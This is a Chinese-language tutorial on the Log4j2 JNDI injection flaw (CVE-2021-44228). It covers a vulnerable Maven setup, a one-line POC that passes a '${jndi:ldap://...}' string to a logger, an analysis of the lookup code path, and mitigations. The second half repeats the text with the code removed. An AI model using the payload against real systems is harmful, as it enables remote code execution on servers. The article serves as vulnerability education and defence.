log4j2注入原理分析
字数 1308 2025-08-29 22:41:39

Log4j2注入漏洞原理分析与复现

1. 漏洞概述

Log4j2注入漏洞(CVE-2021-44228)是Apache Log4j2日志框架中存在的一个严重远程代码执行漏洞。该漏洞允许攻击者通过构造特殊的日志消息触发JNDI注入,从而在目标服务器上执行任意代码。

2. 环境搭建

2.1 Maven项目配置

创建Maven项目,pom.xml文件需包含以下依赖:

<dependencies>
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.14.1</version> <!-- 漏洞版本 -->
    </dependency>
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-api</artifactId>
        <version>2.14.1</version>
    </dependency>
</dependencies>

2.2 Log4j2配置文件

resources目录下创建log4j2.xml配置文件:

<?xml version="1.0" encoding="UTF-8"?>
<configuration status="info">
    <Properties>
        <Property name="pattern1">[%-5p] %d %c - %m%n</Property>
        <Property name="pattern2"> ==n 日志级别:%p%n 日志时间:%d%n 所属类名:%c%n 所属线程:%t%n 日志信息:%m%n </Property>
        <Property name="filePath">logs/myLog.log</Property>
    </Properties>
    
    <appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="${pattern1}"/>
        </Console>
        <RollingFile name="RollingFile" fileName="${filePath}" 
                     filePattern="logs/
$$
{date:yyyy-MM}/app-%d{MM-dd-yyyy}-%i.log.gz">
            <PatternLayout pattern="${pattern2}"/>
            <SizeBasedTriggeringPolicy size="5 MB"/>
        </RollingFile>
    </appenders>
    
    <loggers>
        <root level="info">
            <appender-ref ref="Console"/>
            <appender-ref ref="RollingFile"/>
        </root>
    </loggers>
</configuration>

3. 漏洞复现POC

String username = "${jndi:ldap://192.168.85.236:1389/zkgeem}";
logger.info("User {} login in!", username);

4. 漏洞原理分析

4.1 漏洞触发流程

  1. 日志格式化:当调用logger.info()时,Log4j2会调用PatternLayout类的toSerializable方法对日志进行格式化

  2. 消息转换:进入MessagePatternConverter类的format方法,然后调用replace方法

  3. 变量替换:进入substitute方法进行字符串匹配和变量替换

  4. JNDI解析:当遇到${jndi:...}格式的字符串时,Log4j2会:

    • 解析JNDI变量
    • 向指定的LDAP/LDAPS、RMI或DNS服务发起请求
    • 获取返回的Java对象并反序列化
  5. 代码执行:最终通过InitialContext.lookup()方法触发代码执行

4.2 关键点分析

  1. Lookup功能:Log4j 2.x支持多种lookup模块,如:

    • ${sys:user.name} - 系统属性
    • ${java:version} - Java版本信息
    • ${jndi:...} - JNDI查询
  2. 问题根源

    • 对用户输入的日志内容未做任何过滤
    • 直接解析并执行${jndi:...}格式的字符串
    • 未验证JNDI请求的目标是否可信
  3. 攻击向量

    • 攻击者可以构造恶意的LDAP/RMI/DNS地址
    • 服务器会无条件解析这些地址并执行返回的代码

5. 漏洞利用条件

  1. 使用Log4j2版本2.0-beta9至2.14.1
  2. 日志输出中包含用户可控的输入
  3. 目标服务器能够访问外部网络(出站连接)

6. 防御措施

  1. 升级版本:升级到Log4j2 2.15.0或更高版本
  2. 临时缓解
    • 设置系统属性log4j2.formatMsgNoLookups=true
    • 移除JndiLookup类:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  3. 输入过滤:对用户输入进行严格过滤,避免直接记录到日志
  4. 网络限制:限制服务器出站连接,特别是LDAP/RMI/DNS协议

7. 漏洞影响范围

几乎所有使用受影响版本Log4j2的Java应用程序都可能受到攻击,包括但不限于:

  • Web应用程序
  • 企业级应用
  • 云服务
  • 嵌入式系统

8. 漏洞修复验证

修复后应验证:

  1. ${jndi:ldap://example.com}格式的字符串不再被解析
  2. 日志中直接输出原始字符串而非解析后的内容
  3. 不再有对外部JNDI服务的连接请求
Log4j2注入漏洞原理分析与复现 1. 漏洞概述 Log4j2注入漏洞(CVE-2021-44228)是Apache Log4j2日志框架中存在的一个严重远程代码执行漏洞。该漏洞允许攻击者通过构造特殊的日志消息触发JNDI注入,从而在目标服务器上执行任意代码。 2. 环境搭建 2.1 Maven项目配置 创建Maven项目, pom.xml 文件需包含以下依赖: 2.2 Log4j2配置文件 在 resources 目录下创建 log4j2.xml 配置文件: 3. 漏洞复现POC 4. 漏洞原理分析 4.1 漏洞触发流程 日志格式化 :当调用 logger.info() 时,Log4j2会调用 PatternLayout 类的 toSerializable 方法对日志进行格式化 消息转换 :进入 MessagePatternConverter 类的 format 方法,然后调用 replace 方法 变量替换 :进入 substitute 方法进行字符串匹配和变量替换 JNDI解析 :当遇到 ${jndi:...} 格式的字符串时,Log4j2会: 解析JNDI变量 向指定的LDAP/LDAPS、RMI或DNS服务发起请求 获取返回的Java对象并反序列化 代码执行 :最终通过 InitialContext.lookup() 方法触发代码执行 4.2 关键点分析 Lookup功能 :Log4j 2.x支持多种lookup模块,如: ${sys:user.name} - 系统属性 ${java:version} - Java版本信息 ${jndi:...} - JNDI查询 问题根源 : 对用户输入的日志内容未做任何过滤 直接解析并执行 ${jndi:...} 格式的字符串 未验证JNDI请求的目标是否可信 攻击向量 : 攻击者可以构造恶意的LDAP/RMI/DNS地址 服务器会无条件解析这些地址并执行返回的代码 5. 漏洞利用条件 使用Log4j2版本2.0-beta9至2.14.1 日志输出中包含用户可控的输入 目标服务器能够访问外部网络(出站连接) 6. 防御措施 升级版本 :升级到Log4j2 2.15.0或更高版本 临时缓解 : 设置系统属性 log4j2.formatMsgNoLookups=true 移除JndiLookup类: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class 输入过滤 :对用户输入进行严格过滤,避免直接记录到日志 网络限制 :限制服务器出站连接,特别是LDAP/RMI/DNS协议 7. 漏洞影响范围 几乎所有使用受影响版本Log4j2的Java应用程序都可能受到攻击,包括但不限于: Web应用程序 企业级应用 云服务 嵌入式系统 8. 漏洞修复验证 修复后应验证: ${jndi:ldap://example.com} 格式的字符串不再被解析 日志中直接输出原始字符串而非解析后的内容 不再有对外部JNDI服务的连接请求